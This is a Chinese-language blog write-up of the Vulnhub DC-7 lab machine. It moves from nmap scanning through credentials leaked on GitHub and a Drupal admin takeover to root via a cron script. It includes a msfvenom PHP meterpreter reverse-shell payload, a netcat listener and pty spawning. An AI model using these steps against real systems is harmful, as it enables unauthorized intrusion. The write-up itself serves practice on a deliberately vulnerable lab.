信息搜集

nmap -sP 192.168.146.0/24 #主机发现

nmap -A 192.168.146.144 #端口扫描

查看robots.txt,看看admin,403,其他没有什么可利用的。

看到熟悉的图标(drupal),强上metasploit走不通。

一般这种cms都会有自己本身的扫描器(像比较出名的wordpress的扫描器wpscan),所以上github搜一搜drupal的扫描。然后找到了一个drupwn。https://github.com/immunIT/drupwn

看一眼帮助然后直接一把梭,等待结果。

python3 drupwn --users --nodes --modules --dfiles --themes --thread 5 enum http://192.168.146.144

Module太慢直接Ctrl-C跳过。浏览一下,好像也没什么有用的,Users不是*。

没什么思路,先回到首页看这段提示把。

作者说并不是非常技术性的东西,不是爆破等,要从外部看这个箱子。

外部???难道是社工?(兴奋.jpg

看看这幅图,显然是魔改过的Drupal,且左下方有个署名,那么google一下这个名字?

进github看到部分源代码。https://github.com/Dc7User/staffdb

首先看看配置信息config.php

看到用户名和密码看看能不能ssh链接上去。发现可以连上。。。

getFlag

登陆进去后,继续看看有什么有用的信息。

又看到mbox应该是有用的东西。

看到一个shell脚本,这个脚本是以root权限运行的,且是一个定时任务。(这里应该就有大概的思路了)

在看看脚本内容

看看脚本的权限。



该脚本只有root和www-data才可以修改。

几个不知道的命令分别搜搜:drush 和 gpg

gpg:http://linux.51yip.com/search/gpg

drush:https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell

尝试使用drush修改密码



第一个执行错误应该是这个目录没有权限,再看看html目录是有权限的可以执行成功。

修改密码后,直接到web端登陆,可以成功登录。

进入后台了,思路应该是反弹shell成为www-data,为什么呢?

因为backup.sh脚本只能由root或者www-data修改,且是一个root的定时任务。

google一下反弹shell的方法:https://www.sevenlayers.com/index.php/164-drupal-to-reverse-shell

其中有php filter,但是我们的环境没有,不过我们可以安装新的模块,那就直接安装下。https://www.drupal.org/project/php

然后勾选安装的php filter,然后点击最下面的install

然后就可以进入content,选择basic page,选择php code测试下。输入完后点击preview,成功看到phpinfo。



现在来进行php反弹shell的代码。

首先渗透机先nc -lvvp 4444

网上找一些改一下ip和port直接粘贴进去,或者直接msfvenom生成一个

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.146.132 LPORT=4444 -f raw

再使用exploit/multi/handler来监听



老样子,先使用交互式shell。python -c 'import pty; pty.spawn("/bin/bash")'

然后就往backups.sh中写命令把。这里可以直接使用ls+cat读出flag,也可以再来一个反弹shell。

等上一段时间(几分钟)。然后邮件是发给dc7的,那么我们回到dc7用户看看tmp目录下的文件。





总结

本次靶机新花样:社工(虽然很easy。

这里学了下使用drush修改drupal后台密码和drupal后台getshell的方法(安装模块,使用php filter)

Vulnhub DC-7靶机渗透的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  4. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  5. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

  6. Vulnhub DC-9靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...

  7. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

  8. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  9. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  10. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

随机推荐

  1. Upload-labs 测试笔记

    Upload-labs 测试笔记 By:Mirror王宇阳 2019年11月~ 文件上传解析学习 环境要求 若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass. 配置 项 配置 描述 ...

  2. 如何快速高效率地学习Go语言

    要想快速高效率地掌握Go语言,关键是要通过不断写代码去训练,熟能生巧.方法是没问题的,但具体的路径呢?就像开车,能不能给个导航?我希望这篇文章能起到一个导航的作用,这里提供的路径,应该对很多人都适合. ...

  3. 一、create-react-app的安装及使用

    一.安装create-react-app 1.在全局环境中安装create-react-app npm install -g create-react-app 2.在您所需要的目录(盘)下生成一个项目 ...

  4. JavaScript数组排序(冒泡排序、选择排序、桶排序、快速排序)

    * 以下均是以实现数组的从小到大排序为例 1.冒泡排序 先遍历数组,让相邻的两个元素进行两两比较 .如果要求小到大排:最大的应该在最后面,如果前面的比后面的大,就要换位置: 数组遍历一遍以后,也就是第 ...

  5. 使用AJAX实现用户名的唯一性校验(注册界面)-JAVA(新手)

    (1)实现用户名的唯一性校验 所需要准备的: Servlet 注册界面的JSP 接口和实现类 所需要的接口和实现类: 接口: /* * 用户注册 * 账号的唯一性校验,需要传参(username) * ...

  6. BeanShell调用自己写的jar包进行MD5加密

    1.在eclipse中新建一个java工程,工程名随意. 2.在工程中添加一个package,package名为md5,在package下添加一个class,class名为mymd5. package ...

  7. Apex_2. LiveBos两个时间求相差天数、历时

    (1)获取两个时间相差天数(没有上午下午区分) var d1=ABS_DATESTRING(FStartTime,'yyyy/MM/dd'); var d2=ABS_DATESTRING(FEndTi ...

  8. 遍历集合的常见方式,排序,用lambda表示是怎样的

       Collection集合的功能:            Object[] toArray() 将集合转成数组            Iterator iterator() 通过方法的调用 获取I ...

  9. linux入门系列19--数据库管理系统(DBMS)之MariaDB

    前面讲完Linux下一系列服务的配置和使用之后,本文简单介绍一款数据库管理系统(MySQL的兄弟)MariaDB. 如果你有MySQL或其他数据的使用经验,MariaDB使用起来将非常轻松. 本文讲解 ...

  10. Android 登陆功能的实现(访问WebServices 解析返回的JSON结果)

    1. WebServices返回的JSON结果 { , "Result": [{ ", ", ", " }] } 2.访问WEB服务代码 i ...